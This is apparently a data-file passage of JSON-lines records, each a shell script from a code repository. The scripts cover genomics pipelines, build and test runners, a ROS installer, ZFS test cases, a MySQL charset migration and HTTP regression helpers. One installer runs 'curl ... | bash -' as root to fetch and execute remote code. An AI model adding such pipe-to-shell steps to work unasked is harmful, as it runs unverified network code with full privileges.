-p $threads -out ${prefix}_on_${assemblyid}_Refseq.genebody.npz --outRawCounts ${prefix}_on_${assemblyid}_Refseq.genebody.tab > /dev/null 2>&1\n\n sed \"s/nan/0/g\" ${prefix}_on_${assemblyid}_Refseq.promoter.tab | sed \"1d\" | sortBed -i > ${prefix}_on_${assemblyid}_Refseq.promoter.bed\n sortBed -i ${SH_SCRIPT_DIR}/../annotation/${assemblyid}/${assemblyid}_Refseq.promoter.bed | awk '{printf(\"%s\\t%s\\n\",$4,$6)}' > ${assemblyid}_Refseq.promoter.genenames\n sed \"s/nan/0/g\" ${prefix}_on_${assemblyid}_Refseq.genebody.tab | sed \"1d\" | sortBed -i > ${prefix}_on_${assemblyid}_Refseq.genebody.bed\n sortBed -i ${SH_SCRIPT_DIR}/../annotation/${assemblyid}/${assemblyid}_Refseq.genebody.bed | awk '{printf(\"%s\\t%s\\n\",$4,$6)}' > ${assemblyid}_Refseq.genebody.genenames\n echo \"done.\"\n echo \"\"\n\n # calculate the average KAS expression of every single row in the table.\n echo \"Calculate the average KAS expression on ${assemblyid} Refseq promoter and genebody ...\"\n echo \"\"\n awk 'BEGIN{if(NR>0) a[NR]=0}{if(NR>0) for(i=4; i<=NF; i++) a[NR]+=$i}END{for(j in a) print a[j]/NF }' ${prefix}_on_${assemblyid}_Refseq.promoter.bed > ${prefix}_on_${assemblyid}_Refseq.promoter.average\n awk 'BEGIN{if(NR>0) a[NR]=0}{if(NR>0) for(i=4; i<=NF; i++) a[NR]+=$i}END{for(j in a) print a[j]/NF }' ${prefix}_on_${assemblyid}_Refseq.genebody.bed > ${prefix}_on_${assemblyid}_Refseq.genebody.average\n echo \"done.\"\n echo \"\"\n\n # filter the promoter or genebody with averaged KAS expression lower than 0.5.\n echo \"Filter matrix of normalized KAS expression on ${assemblyid} Refseq promoter and genebody ...\"\n paste ${prefix}_on_${assemblyid}_Refseq.promoter.average ${assemblyid}_Refseq.promoter.genenames ${prefix}_on_${assemblyid}_Refseq.promoter.bed | sort -k 1 -n -r | sort -u -k2,2 -k3,3 | awk '$1>=5 {print $0}' > ${prefix}_on_${assemblyid}_Refseq.promoter.filter.bed\n\n paste ${prefix}_on_${assemblyid}_Refseq.genebody.average ${assemblyid}_Refseq.genebody.genenames ${prefix}_on_${assemblyid}_Refseq.genebody.bed | sort -k 1 -n -r | sort -u -k2,2 -k3,3 > ${prefix}_on_${assemblyid}_Refseq.genebody.filter.bed\n echo \"done.\"\n echo \"\"\n\n for ((i=1; i<=${number_of_samples}; i++))\n do\n echo \"Calculate the normalized KAS-seq expression on ${assemblyid} Refseq genes for the ${i}th sample.\"\n echo \"\"\n awk -v x=$i '{printf(\"%s\\t%.2f\\n\",$2,$(x+6))}' ${prefix}_on_${assemblyid}_Refseq.promoter.filter.bed > ${prefix}_on_${assemblyid}_Refseq.promoter.filter.KAS-seq.${i}\n awk -v x=$i '{printf(\"%s\\t%.2f\\n\",$2,$(x+6))}' ${prefix}_on_${assemblyid}_Refseq.genebody.filter.bed > ${prefix}_on_${assemblyid}_Refseq.genebody.filter.KAS-seq.${i}\n\n awk 'NR==FNR{a[$1]=$2;}NR!=FNR{print $0\"\\t\"a[$1]}' ${prefix}_on_${assemblyid}_Refseq.genebody.filter.KAS-seq.${i} ${prefix}_on_${assemblyid}_Refseq.promoter.filter.KAS-seq.${i} | awk '{ if(NF==2){printf(\"%.2f\\n\",$2)} else{printf(\"%.2f\\n\",($2+$3)/2)} }' > ${prefix}_on_${assemblyid}_Refseq.gene.filter.KAS-seq.${i}\n\n rm -f ${prefix}_on_${assemblyid}_Refseq.promoter.filter.KAS-seq.${i}\n rm -f ${prefix}_on_${assemblyid}_Refseq.genebody.filter.KAS-seq.${i}\n\n echo \"done.\"\n echo \"\"\n done\n\n echo \"Generating the final KAS expression on ${assemblyid}_Refseq.gene.bed for all samples ...\"\n awk '{printf(\"%s\\t%s\\n\",$2,$3)}' ${prefix}_on_${assemblyid}_Refseq.promoter.filter.bed > ${prefix}_on_${assemblyid}_Refseq.promoter.filter.genename\n paste ${prefix}_on_${assemblyid}_Refseq.promoter.filter.genename ${prefix}_on_${assemblyid}_Refseq.gene.filter.KAS-seq.* > ${prefix}_on_${assemblyid}_Refseq.gene.filter.without_header.txt\n\n echo -e \"genename\\tstrand\" > ${prefix}.header1.txt\n awk '{for(i=1;i<=NF;i++) a[i,NR]=$i}END{for(i=1;i<=NF;i++) {for(j=1;j<=NR;j++) printf a[i,j] \"\\t\";print \"\"}}' $labels > ${prefix}.header2.txt\n paste ${prefix}.header1.txt ${prefix}.header2.txt > ${prefix}.header.txt\n\n cat ${prefix}.header.txt ${prefix}_on_${assemblyid}_Refseq.gene.filter.without_header.txt > ${prefix}_on_${assemblyid}_Refseq_gene_KAS-seq_expression.txt\n echo \"done.\"\n echo \"\"\n\n echo \"Clean up the intermediate files.\"\n rm -f ${prefix}_on_${assemblyid}_Refseq.promoter.npz\n rm -f ${prefix}_on_${assemblyid}_Refseq.genebody.npz\n rm -f ${prefix}_on_${assemblyid}_Refseq.promoter.tab\n rm -f ${prefix}_on_${assemblyid}_Refseq.genebody.tab\n rm -f ${prefix}_on_${assemblyid}_Refseq.promoter.bed\n rm -f ${prefix}_on_${assemblyid}_Refseq.genebody.bed\n rm -f ${assemblyid}_Refseq.promoter.genenames\n rm -f ${assemblyid}_Refseq.genebody.genenames\n rm -f ${prefix}_on_${assemblyid}_Refseq.promoter.average\n rm -f ${prefix}_on_${assemblyid}_Refseq.genebody.average\n rm -f ${prefix}_on_${assemblyid}_Refseq.promoter.filter.bed\n rm -f ${prefix}_on_${assemblyid}_Refseq.genebody.filter.bed\n rm -f ${prefix}_on_${assemblyid}_Refseq.promoter.filter.genename\n rm -f ${prefix}_on_${assemblyid}_Refseq.gene.filter.without_header.txt\n rm -f ${prefix}.header.txt\n rm -f ${prefix}.header1.txt\n rm -f ${prefix}.header2.txt\n\n echo \"done.\"\n echo \"\"\n\nelif [[ $regions == \"peak\" ]]; then\n\n echo \"Calculate KAS expression on ${peaks}.\"\n echo \"\"\n peaks_basename=$( basename ${peaks} .bed )\n multiBigwigSummary BED-file --bwfiles $KASseq_list --BED ${peaks} --labels $labels_list -p $threads -out ${prefix}_on_${peaks_basename}.npz --outRawCounts ${prefix}_on_${peaks_basename}.tab > /dev/null 2>&1\n sed \"s/nan/0/g\" ${prefix}_on_${peaks_basename}.tab | sed \"1d\" | sortBed -i > ${prefix}_on_${peaks_basename}.bed\n echo \"done.\"\n echo \"\"\n\n echo \"Generate the final KAS expression on ${peaks} ...\"\n cut -f1,2,3 --complement ${prefix}_on_${peaks_basename}.bed | awk '{for(i=1;i<=NF;i++){printf \"%.2f\\t\", $i}; printf \"\\n\"}' > ${prefix}_on_${peaks_basename}.matrix\n awk '{printf(\"%s\\t%d\\t%d\\t%s\\n\",$1,$2,$3,\"peak\"FNR)}' ${prefix}_on_${peaks_basename}.bed > ${prefix}_on_${peaks_basename}.4bed\n \n paste ${prefix}_on_${peaks_basename}.4bed ${prefix}_on_${peaks_basename}.matrix > ${prefix}_on_${peaks_basename}.without_header.txt\n echo -e \"chr\\tstart\\tend\\tpeaks\" > ${prefix}.header1.txt\n awk '{for(i=1;i<=NF;i++) a[i,NR]=$i}END{for(i=1;i<=NF;i++) {for(j=1;j<=NR;j++) printf a[i,j] \"\\t\";print \"\"}}' $labels > ${prefix}.header2.txt\n paste ${prefix}.header1.txt ${prefix}.header2.txt > ${prefix}.header.txt\n\n cat ${prefix}.header.txt ${prefix}_on_${peaks_basename}.without_header.txt > ${prefix}_on_${peaks_basename}_KAS-seq_expression.txt\n echo \"done.\"\n echo \"\"\n\n echo \"Clean up the intermediate files.\"\n rm -f ${prefix}.header.txt\n rm -f ${prefix}.header1.txt\n rm -f ${prefix}.header2.txt\n rm -f ${prefix}_on_${peaks_basename}.npz\n rm -f ${prefix}_on_${peaks_basename}.tab\n rm -f ${prefix}_on_${peaks_basename}.bed\n rm -f ${prefix}_on_${peaks_basename}.matrix\n rm -f ${prefix}_on_${peaks_basename}.4bed\n rm -f ${prefix}_on_${peaks_basename}.without_header.txt\n echo \"done.\"\n echo \"\"\n\nfi \n\nrm -f ${prefix}.labels_basename.txt\n\necho \"'KAS-pipe2 KASexpre' run successfully!\""} {"text": "<filename>testsDOH/_base/loader/i18n-exhaustive/i18n-test/build-test-targets.sh<gh_stars>1000+\n#!/bin/sh\n../util/buildscripts/build.sh -p standard -r --releaseDir ../../built-i18n-test --releaseName rel --layerOptimize 0 --optimize 0\n../util/buildscripts/build.sh -p standard -p cdn -r --releaseDir ../../../built-i18n-test --releaseName cdn --layerOptimize 0 --optimize 0\n../util/buildscripts/build.sh -p ../i18n-test/i18n-test -r --layerOptimize 0 --optimize 0\n../util/buildscripts/build.sh -p ../i18n-test/i18n-test-with-layers -r --layerOptimize 0 --optimize 0\n../util/buildscripts/build.sh -p ../i18n-test/i18n-test-with-layers-and-preloads -r --layerOptimize 0 --optimize 0"} {"text": "<filename>ECG_OPF/examples/example1.sh\n#!/bin/sh\n\necho \"This is an example of how to use the OPF classifier without learning procedure.\"\n\n#splitting dataset into training and test sets with 50% of the samples each one without features normalization\n../bin/opf_split ../data/boat.dat 0.5 0 0.5 0\n\n#training OPF classifier\n../bin/opf_train training.dat\n\n#classifying the test set\n../bin/opf_classify testing.dat\n\n# computing the accuracy over the test set\n../bin/opf_accuracy testing.dat"} {"text": "#!/bin/bash\n\ndocker-compose -f docker-compose.yml -f docker-compose.local.yml up -d \"$@\""} {"text": "<filename>ogbn-proteins.sh\n# python src/ogbn-proteins/teacher_train.py --lbd_pred 0.1 --lbd_embd 0.01 --hidden 64 --layer 28 --train_bn 40 --test_bn 5\npython src/ogbn-proteins/student_train.py --lbd_pred 0.1 --lbd_embd 0.01 --hidden 64 --layer 28 --train_bn 40 --test_bn 5"} {"text": "<gh_stars>0\n#!/bin/sh\nexec flake8 --max-line-length=120 yahoobook"} {"text": "#!/bin/bash\n\npython3 setup.py develop\n\necho \"docker attach the tty in order to manage this\"\nwhile true; do\n echo \"Run tests? [yn]\" # can't use \"read -p\", no real tty\n read yn\n case $yn in\n [Yy] ) ./run_tests.sh;continue;;\n * ) exit;;\n esac\ndone"} {"text": "#!/bin/bash\n#\n# clone app code\ngit clone -b monolith https://github.com/express42/reddit.git\n#\n# install dependencies\ncd reddit\nbundle install"} {"text": "#!/bin/bash\n\nif [[ $EUID -ne 0 ]]; then\n echo \"This script must be run as root\"\n exit 1\nfi\n\n# Install add-apt-repository command\napt install --yes software-properties-common\nadd-apt-repository -y ppa:deadsnakes/ppa\napt update\napt install --yes lsb-release curl python3.6-dev python3.7-dev python3.8-dev python3.9-dev dirmngr\ncurl -sL https://deb.nodesource.com/setup_15.x | bash -\napt-get install --yes nodejs\n\nUBUNTU_VERSION=$(lsb_release -rs)\nif [[ $UBUNTU_VERSION == \"16.04\" ]]; then\n apt install --yes openjdk-8-jdk python3.5-dev\n export ROS_DISTRO=kinetic\nelif [[ $UBUNTU_VERSION == \"18.04\" ]]; then\n apt install --yes openjdk-11-jdk\n export ROS_DISTRO=melodic\nelif [[ $UBUNTU_VERSION == \"20.04\" ]]; then\n apt install --yes openjdk-14-jdk\n export ROS_DISTRO=noetic\nelse\n echo \"Unsupported Linux version.\"\nfi\n\nsh -c 'echo \"deb http://packages.ros.org/ros/ubuntu $(lsb_release -sc) main\" > /etc/apt/sources.list.d/ros-latest.list'\napt-key adv --keyserver 'hkp://keyserver.ubuntu.com:80' --recv-key C1CF6E31E6BADE8868B172B4F42ED6FBAB17C654\napt update -qq\napt-get install -y ros-$ROS_DISTRO-ros-base ros-$ROS_DISTRO-sensor-msgs ros-$ROS_DISTRO-tf liburdfdom-tools\n\nscript_full_path=$(dirname \"$0\")\n$script_full_path/linux_compilation_dependencies.sh"} {"text": "<reponame>zechris/jqsh\n#!/usr/bin/env shpec\nsource shpecs/shpec_helper.sh\n\n\ndescribe \"jsont\"\n matches_expected \"formed=2015 super_heroes.jsont 'age=30 member' | jq\" \\\n<<-EOF\n{\n \"squadName\": \"Super hero squad\",\n \"active\": true,\n \"formed\": 2015,\n \"location\": {\n \"homeTown\": \"Metro City\",\n \"secretBase\": \"Super tower\"\n },\n \"members\": [\n {\n \"name\": \"<NAME>\",\n \"age\": 30,\n \"gender\": \"male\",\n \"secretIdentity\": \"<NAME>\",\n \"powers\": [\n \"Radiation resistance\",\n \"Turning tiny\",\n \"Radiation blast\"\n ]\n }\n ]\n}\nEOF\nend"} {"text": "# CDDL HEADER START\n#\n# The contents of this file are subject to the terms of the\n# Common Development and Distribution License (the \"License\").\n# You may not use this file except in compliance with the License.\n#\n# You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE\n# or http://www.opensolaris.org/os/licensing.\n# See the License for the specific language governing permissions\n# and limitations under the License.\n#\n# When distributing Covered Code, include this CDDL HEADER in each\n# file and include the License file at usr/src/OPENSOLARIS.LICENSE.\n# If applicable, add the following below this CDDL HEADER, with the\n# fields enclosed by brackets \"[]\" replaced with your own identifying\n# information: Portions Copyright [yyyy] [name of copyright owner]\n#\n# CDDL HEADER END\n#\n\n# $FreeBSD$\n\n#\n# Copyright 2012 Spectra Logic. All rights reserved.\n# Use is subject to license terms.\n#\n\n\natf_test_case zfs_copies_001_pos cleanup\nzfs_copies_001_pos_head()\n{\n\tatf_set \"descr\" \"Verify 'copies' property with correct arguments works or not.\"\n\tatf_set \"require.progs\" zfs\n}\nzfs_copies_001_pos_body()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tverify_disk_count \"$DISKS\" 1\n\tksh93 $(atf_get_srcdir)/setup.ksh || atf_fail \"Setup failed\"\n\tksh93 $(atf_get_srcdir)/zfs_copies_001_pos.ksh || atf_fail \"Testcase failed\"\n}\nzfs_copies_001_pos_cleanup()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tksh93 $(atf_get_srcdir)/cleanup.ksh || atf_fail \"Cleanup failed\"\n}\n\n\natf_test_case zfs_copies_002_pos cleanup\nzfs_copies_002_pos_head()\n{\n\tatf_set \"descr\" \"Verify that the space used by multiple copies is charged correctly.\"\n\tatf_set \"require.progs\" zfs\n}\nzfs_copies_002_pos_body()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tverify_disk_count \"$DISKS\" 1\n\tksh93 $(atf_get_srcdir)/setup.ksh || atf_fail \"Setup failed\"\n\tksh93 $(atf_get_srcdir)/zfs_copies_002_pos.ksh || atf_fail \"Testcase failed\"\n}\nzfs_copies_002_pos_cleanup()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tksh93 $(atf_get_srcdir)/cleanup.ksh || atf_fail \"Cleanup failed\"\n}\n\n\natf_test_case zfs_copies_003_pos cleanup\nzfs_copies_003_pos_head()\n{\n\tatf_set \"descr\" \"Verify that ZFS volume space used by multiple copies is charged correctly.\"\n\tatf_set \"require.progs\" zfs\n}\nzfs_copies_003_pos_body()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tverify_zvol_recursive\n\tksh93 $(atf_get_srcdir)/setup.ksh || atf_fail \"Setup failed\"\n\tksh93 $(atf_get_srcdir)/zfs_copies_003_pos.ksh || atf_fail \"Testcase failed\"\n}\nzfs_copies_003_pos_cleanup()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tksh93 $(atf_get_srcdir)/cleanup.ksh || atf_fail \"Cleanup failed\"\n}\n\n\natf_test_case zfs_copies_004_neg cleanup\nzfs_copies_004_neg_head()\n{\n\tatf_set \"descr\" \"Verify that copies property cannot be set to any value other than 1,2 or 3\"\n\tatf_set \"require.progs\" zfs\n}\nzfs_copies_004_neg_body()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tverify_disk_count \"$DISKS\" 1\n\tverify_disk_count \"$DISKS\" 1\n\tksh93 $(atf_get_srcdir)/setup.ksh || atf_fail \"Setup failed\"\n\tksh93 $(atf_get_srcdir)/zfs_copies_004_neg.ksh || atf_fail \"Testcase failed\"\n}\nzfs_copies_004_neg_cleanup()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tksh93 $(atf_get_srcdir)/cleanup.ksh || atf_fail \"Cleanup failed\"\n}\n\n\natf_test_case zfs_copies_005_neg cleanup\nzfs_copies_005_neg_head()\n{\n\tatf_set \"descr\" \"Verify that copies cannot be set with pool version 1\"\n\tatf_set \"require.progs\" zfs zpool\n}\nzfs_copies_005_neg_body()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tverify_disk_count \"$DISKS\" 1\n\tksh93 $(atf_get_srcdir)/setup.ksh || atf_fail \"Setup failed\"\n\tksh93 $(atf_get_srcdir)/zfs_copies_005_neg.ksh || atf_fail \"Testcase failed\"\n}\nzfs_copies_005_neg_cleanup()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tksh93 $(atf_get_srcdir)/cleanup.ksh || atf_fail \"Cleanup failed\"\n}\n\n\natf_test_case zfs_copies_006_pos cleanup\nzfs_copies_006_pos_head()\n{\n\tatf_set \"descr\" \"Verify that ZFS volume space used by multiple copies is charged correctly.\"\n\tatf_set \"require.progs\" zfs\n}\nzfs_copies_006_pos_body()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tverify_disk_count \"$DISKS\" 1\n\tksh93 $(atf_get_srcdir)/setup.ksh || atf_fail \"Setup failed\"\n\tksh93 $(atf_get_srcdir)/zfs_copies_006_pos.ksh || atf_fail \"Testcase failed\"\n}\nzfs_copies_006_pos_cleanup()\n{\n\t. $(atf_get_srcdir)/../../../include/default.cfg\n\t. $(atf_get_srcdir)/zfs_copies.kshlib\n\t. $(atf_get_srcdir)/zfs_copies.cfg\n\n\tksh93 $(atf_get_srcdir)/cleanup.ksh || atf_fail \"Cleanup failed\"\n}\n\n\natf_init_test_cases()\n{\n\n\tatf_add_test_case zfs_copies_001_pos\n\tatf_add_test_case zfs_copies_002_pos\n\tatf_add_test_case zfs_copies_003_pos\n\tatf_add_test_case zfs_copies_004_neg\n\tatf_add_test_case zfs_copies_005_neg\n\tatf_add_test_case zfs_copies_006_pos\n}"} {"text": "<gh_stars>0\n#!/bin/bash\n\ndb_name=$1\n\necho -n \"Enter password:\"\nread db_pass\n\nC_TABLES=$(mysql -u root -p ${db_name} --password=${db_pass} -B -N -e \"SHOW TABLES\")\n\necho \"Stage 1. CHange charset for tables\"\necho \"${C_TABLES}\" | awk '{print \"SET foreign_key_checks = 0; ALTER TABLE\", $1, \"CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; SET foreign_key_checks = 1; \"}' >migration_utf8\necho \"ALTER DATABASE ${db_name} CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;\">>migration_utf8\nmysql -u root -p ${db_name} --password=${db_pass} < migration_utf8\necho \"Stage 1 - Done\"\n>migration_utf8\necho \"Stage 2. Revert filed type to TEXT\"\necho \"${C_TABLES}\" | while read table; do\nmysql -u root -p ${db_name} --password=${db_pass} -e \"show create table ${table}\" | sed 's/\\\\n/\\n/g' | egrep -i \"[[:space:]]MEDIUMTEXT[[:space:]]\" | awk '{ print $1 }' | while read c_field; do\n echo \"ALTER TABLE $table MODIFY $c_field TEXT;\" >>migration_utf8\n done\ndone\nmysql -u root -p ${db_name} --password=${db_pass} < migration_utf8\necho \"Stage2 - Done\"\n\nrm -f migration_utf8\n\nexit"} {"text": "<gh_stars>10-100\n#!/bin/bash -l\n\n#SBATCH -p shared\n#SBATCH -n 2\n#SBATCH -t 00:10:00\n#SBATCH --account=desi\n#SBATCH -J repack\n#SBATCH -L SCRATCH\n#SBATCH -C haswell\n#--qos=scavenger\n#--mail-user=<EMAIL>\n#--mail-type=END,FAIL\n\necho brick:$brick\necho start_brick=$start_brick\necho end_brick=$end_brick\n\nusecores=1\nthreads=1\nif [ \"$full_stacktrace\" = \"yes\" ];then\n threads=1\nfi\n# Limit memory to avoid 1 srun killing whole node\nif [ \"$NERSC_HOST\" = \"edison\" ]; then\n # 62 GB / Edison node = 65000000 kbytes\n maxmem=65000000\n let usemem=${maxmem}*${usecores}/24\nelse\n # 128 GB / Edison node = 65000000 kbytes\n maxmem=134000000\n let usemem=${maxmem}*${usecores}/32\nfi\nulimit -S -v $usemem\nulimit -a\necho usecores=$usecores\necho threads=$threads\n\nexport OMP_NUM_THREADS=$threads\n\n# Force MKL single-threaded\n# https://software.intel.com/en-us/articles/using-threaded-intel-mkl-in-multi-thread-application\nexport MKL_NUM_THREADS=1\n\n#set -x\n#year=`date|awk '{print $NF}'`\n#today=`date|awk '{print $3}'`\n#month=`date +\"%F\"|awk -F \"-\" '{print $2}'`\n#logdir=$outdir/logs/${year}_${month}_${today}_${NERSC_HOST}_remain\n#if [ \"$full_stacktrace\" = \"yes\" ];then\n# logdir=${logdir}_stacktrace\n#fi\n#mkdir -p $logdir\n#log=\"$logdir/log.${brick}_${SLURM_JOB_ID}\"\n#echo Logging to: $log\n\n\n#export dr4b_dir=/global/cscratch1/sd/desiproc/dr4/data_release/dr4_fixes\n#export dr4c_dir=/global/projecta/projectdirs/cosmo/work/dr4c\n\nwhile read aline; do\n brick=`echo $aline|awk '{print $1}'`\n echo brick=$brick\n #rsync -av /global/cscratch1/sd/desiproc/dr4/data_release/dr4_fixes/coadd/$brick /global/projecta/projectdirs/cosmo/work/dr4b/coadd/\n # New Data Model Catalouge\n #bri=`echo $brick|head -c 3`\n #in_file=${dr4b_dir}/tractor-i/${bri}/tractor-${brick}.fits\n #out_file=${dr4c_dir}/tractor/${bri}/tractor-${brick}.fits\n #mkdir -p $(dirname ${out_file})\n #echo hey1\n #srun -n 1 -c $usecores python legacypipe/format_catalog.py --in ${in_file} --out ${out_file} --dr4 \n #echo hey2\n # New Headers\n srun -n 1 -c $usecores python legacypipe/format_headers.py --brick $brick\n wait\n #echo hey3\ndone <<< \"$(sed -n ${start_brick},${end_brick}p $bricklist)\""} {"text": "#!/usr/bin/env bash\neval \"$GLUE_BOOTSTRAP\"\nbootstrap\n\naction() {\n\ttoml.get_key 'distroPackageName' glue.toml\n\tlocal distroPackageName=\"$REPLY\"\n\n\tensure.nonZero 'distroPackageName' \"$distroPackageName\"\n\n\tif [ ! -d ./pkg/lib/cmd ]; then\n\t\terror.non_conforming \"'./pkg/lib/cmd' directory does not exist\"\n\tfi\n\n\tutil.shopt -s nullglob\n\tmkdir -p ./pkg/bin\n\n\t# Clear old 'bins'\n\tfor f in ./pkg/bin/*; do\n\t\tif [ -f \"$f\" ]; then\n\t\t\trm \"$f\"\n\t\tfi\n\tdone\n\n\t# shellcheck disable=SC1007\n\tlocal filePath= file= fileName=\n\tfor filePath in ./pkg/lib/cmd/*; do\n\t\tfile=\"${filePath##*/}\"\n\t\tfileName=\"${file%.*}\"\n\n\t\tcat >| \"./pkg/bin/$fileName\" <<\"EOF\"\n#!/usr/bin/env bash\n# AUTOGENERATED by the 'task-Bash-generate-bins.sh' Glue action!\n# Do NOT edit!\n\n# https://github.com/bashup/realpaths\nrealpath.location() {\n\trealpath.follow \"$1\"\n\trealpath.absolute \"$REPLY\" \"..\"\n}\n\nrealpath.dirname() {\n\tREPLY=.\n\t! [[ $1 =~ /+[^/]+/*$|^//$ ]] || REPLY=\"${1%${BASH_REMATCH[0]}}\"\n\tREPLY=${REPLY:-/}\n}\n\nrealpath.follow() {\n\tlocal target\n\twhile [[ -L \"$1\" ]] && target=$(readlink -- \"$1\"); do\n\t\trealpath.dirname \"$1\"\n\t\t# Resolve relative to symlink's directory\n\t\t[[ $REPLY != . && $target != /* ]] && REPLY=$REPLY/$target || REPLY=$target\n\t\t# Break out if we found a symlink loop\n\t\tfor target; do [[ $REPLY == \"$target\" ]] && break 2; done\n\t\t# Add to the loop-detect list and tail-recurse\n\t\tset -- \"$REPLY\" \"$@\"\n\tdone\n\tREPLY=\"$1\"\n}\n\nrealpath.absolute() {\n\tREPLY=$PWD; local eg=extglob; ! shopt -q $eg || eg=; ${eg:+shopt -s $eg}\n\twhile (($#)); do case $1 in\n\t\t//|//[^/]*) REPLY=//; set -- \"${1:2}\" \"${@:2}\" ;;\n\t\t/*) REPLY=/; set -- \"${1##+(/)}\" \"${@:2}\" ;;\n\t\t*/*) set -- \"${1%%/*}\" \"${1##${1%%/*}+(/)}\" \"${@:2}\" ;;\n\t\t''|.) shift ;;\n\t\t..) realpath.dirname \"$REPLY\"; shift ;;\n\t\t*) REPLY=\"${REPLY%/}/$1\"; shift ;;\n\tesac; done; ${eg:+shopt -u $eg}\n}\n\n\n# Get the path to the 'lib' directory, which could be different depending on\n# the method of installation. If the user installed the program through their\n# distribution's package manager, the 'lib' files are in an extra subfolder\n# compared to an installation through Git (ex. Basher)\nrealpath.location \"${BASH_SOURCE[0]}\"\nREPLY=\"${REPLY/%\\/}\"\nREPLY=\"${REPLY%/*}\"\nif [ -d \"$REPLY/lib/TEMPLATE_PACKAGE_DIR\" ]; then\n\tPROGRAM_LIB_DIR=\"$REPLY/lib/TEMPLATE_PACKAGE_DIR\"\nelif [ -d \"$REPLY/lib\" ]; then\n\tPROGRAM_LIB_DIR=\"$REPLY/lib\"\nelse\n\techo \"Error: Could not determine \\$PROGRAM_LIB_DIR\"\n\texit 1\nfi\n\n# shellcheck disable=SC1091\nsource \"$PROGRAM_LIB_DIR/cmd/TEMPLATE_BIN_FILE\"\nEOF\n\tsed -i \\\n\t\t-e \"s/TEMPLATE_PACKAGE_DIR/$distroPackageName/g\" \\\n\t\t-e \"s/TEMPLATE_BIN_FILE/$fileName.sh/g\" \\\n\t\t\"./pkg/bin/$fileName\"\n\tdone\n}\n\naction \"$@\"\nunbootstrap"} {"text": "<filename>regress/lib/regress.sh\n#!/bin/sh\n# <NAME> <<EMAIL>>\n# Public domain\n\n_md5() {\n\tif command -v md5 > /dev/null; then\n\t\tmd5 -qs \"$1\"\n\telse\n\t\techo -n \"$1\" | md5sum | cut -d' ' -f1\n\tfi\n}\n\n_sha256() {\n\tif command -v sha256 > /dev/null; then\n\t\tsha256 -qs \"$1\"\n\telse\n\t\techo -n \"$1\" | sha256sum | cut -d' ' -f1\n\tfi\n}\n\n_adler32() {\n\tlocal _value=\"$*\"\n\n\tlocal _s1=1\n\tlocal _s2=0\n\tlocal _i=0\n\tfor _i in $(printf \"$_value\" | sed 's/./& /g'); do\n\t\tlocal _b=0\n\n\t\t_b=$(printf \"%d\" \"'$_i\")\n\t\t_s1=$(( (_s1 + _b) % 65521 ))\n\t\t_s2=$(( (_s2 + _s1) % 65521 ))\n\tdone\n\tprintf \"%08x\\n\" $(( (_s2 << 16) + _s1))\n}\n\ntesthttpcode() {\n\tlocal verb=\"$1\"; shift\n\tlocal path=\"$1\"; shift\n\tlocal desiredcode=\"$1\"\n\tlocal error=0\n\tlocal tmp=libravatar.test.png\n\tlocal code=\n\n\tcurl -sS -X \"$verb\" -i \"$baseurl/$path\" 2>/dev/null\\\n\t | grep -a -v -e Date: -e Server: > \"$tmp\"\n\tcode=$(grep -a HTTP \"$tmp\" | head -n 1 | cut -d' ' -f 2)\n\tif [ \"$code\" != \"$desiredcode\" ]; then\n\t\terror=1\n\t\tcp \"$tmp\" \"libravatar.$SHARNESS_TEST_NB.png\"\n\tfi\n\treturn $error\n}\n\ntesthttpcodewithredirect() {\n\tlocal verb=\"$1\"; shift\n\tlocal path=\"$1\"; shift\n\tlocal desiredcode=\"$1\"\n\tlocal error=0\n\tlocal tmp=libravatar.test.png\n\tlocal code=\n\n\tcurl -sLS -X \"$verb\" -i \"$baseurl/$path\" 2>/dev/null\\\n\t | grep -a -v -e Date: -e Server: > \"$tmp\"\n\tcode=$(grep -a HTTP \"$tmp\" | tail -n 1 | cut -d' ' -f 2)\n\tif [ \"$code\" != \"$desiredcode\" ]; then\n\t\terror=1\n\t\tcp \"$tmp\" \"libravatar.$SHARNESS_TEST_NB.png\"\n\tfi\n\treturn $error\n}\n\ntestpngwidth() {\n\tlocal path=\"$1\"; shift\n\tlocal desiredwidth=\"$1\"\n\n\tlocal width=$(pnginfo -sc IHDR -f \"$path\" | grep width | cut -d' ' -f3)\n\t[ $width -eq $desiredwidth ]\n}\n\ndownloadfile() {\n\tlocal path=\"$1\"; shift\n\tlocal tmp=libravatar.test.png\n\n\tcurl -sLS \"$baseurl/$path\" 2>/dev/null > \"$tmp\"\n}"} {"text": "<gh_stars>0\n#!/bin/bash\n\n# By default, OS X's Guest account will 